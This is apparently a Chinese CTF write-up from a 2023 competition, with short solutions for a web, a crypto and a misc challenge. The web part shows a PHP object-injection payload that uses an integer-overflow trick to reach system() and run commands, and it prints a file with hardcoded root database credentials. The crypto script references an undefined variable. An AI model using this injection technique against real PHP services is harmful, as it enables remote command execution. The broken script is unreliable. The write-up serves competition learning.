2023年新疆天山固网杯

由 ssnhy13 发布

2023年新疆天山固网杯Writeup

Web

web1

<?php
header("Content-type:text/html;charset=utf-8");
show_source(__FILE__);
error_reporting(0);
class Flag{
public $a;
public $b;
public $c;
public function __construct(){
$this->a = 123123;
$this->b = 'pwd';
$this->arr = array();
}
public function __destruct(){
echo $a;
$this->arr[$this->a]=1;
if ($this->arr[]=1){
echo 'Please!!!';
}
else{
system($this->b);
}
}
}
$was = $_GET['was'];
unserialize($was);

看到是一个反序列化的
但是在destruct那里有一个array的限制,然后要使用数组整型溢出绕过

    int的官方最大值
    PHP_INT_MAX 官方最大值为
    32平台:2147483647
    64平台:9223372036854775807

然后开始构造

<?php
class Flag{
public $a;
public $b;
public $c;
public $arr;
}
$q=new Flag();
$q->a=9223372036854775807;
$q->arr=array();
$q->b='ls';
echo serialize($q);

发现一个php文件/sql_connect/sql-connect.php
打开发现是

<?php
$dbuser = 'root';
$dbpass = 'root';
$dbname = "dascctf";
$host = '127.0.0.1';
$con = mysqli_connect($host, $dbuser, $dbpass, $dbname) or die('Could not connect
to database.');
$query = "SELECT * FROM flag"; 
$result = mysqli_query($con, $query);
if ($result) {

while ($row = mysqli_fetch_assoc($result)) {
foreach ($row as $key => $value) {
echo "$key: $value<br>";
}
}
} else {
echo "Query failed: " . mysqli_error($con);
}
mysqli_close($con);
?>

然后修改一下可以得到flag

Crypto

这就只是b@se而已的附件

打开附件

密文:jHo0gpj5qwNVs5L3/aPVq9ZpEwCX/NZIz7jVs5Xr6pZa/5oIVg

本来是打算直接告诉你加密方式是这样的,但是我想偷个懒(
YOJyHo57WlUFzCfDgjn0Sb9ET****sqVLX42kNaIhr+dtPm1u3AMKpwRGvcxQZ8B

这里使用脚本跑看哪四个字符没有

import string
s = 'YOJyHo57WlUFzCfDgjn0Sb9ET****sqVLX42kNaIhr+dtPm1u3AMKpwRGvcxQZ8B'
j = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
for i in j:
    if i not in s:
        print(i)

跑出来结果是ei6/

24种不同的base64变种

s="YOJyHo57WlUFzCfDgjn0Sb9ET****sqVLX42kNaIhr+dtPm1u3AMKpwRGvcxQZ8B"
c="jHo0gpj5qwNVs5L3/aPVq9ZpEwCX/NZIz7jVs5Xr6pZa/5oIVg"
import string
import binascii
for i in string.ascii_letters+string.digits:
    if i not in s:
        print(i)
import itertools
s=['e','i','6','/']
for i in itertools.permutations(s,4):
    ss="YOJyHo57WlUFzCfDgjn0Sb9ET"+"".join(i)+"sqVLX42kNaIhr+dtPm1u3AMKpwRGvcxQZ8B"
    bins = ""
    for j in ciper:
      bins+=bin(ss.index(j))[2:].zfill(6)
    print(binascii.unhexlify(hex(eval("0b"+bins))[2:-1]))

可以得到flag

Misc

网抑云

做着做着打开了网易云
打开附件

猜测箭头所☞的地方有猫腻全选然后修改颜色得到come666
先留着应该有用然后把docx后缀改成zip
然后打开红框文件
打开以后引人注目的是一个base64编码的图片解开然后看看图片
得到这个

下载时候看到了这个

Silenteye想起来有这个工具
图片隐藏信息使用的然后使用这个工具然后上面的密码有用了。

得到一个flag.txt文件

发现是一个bubblebabble编码
使用在线网站进行解码

得到flag


0条评论

评论已关闭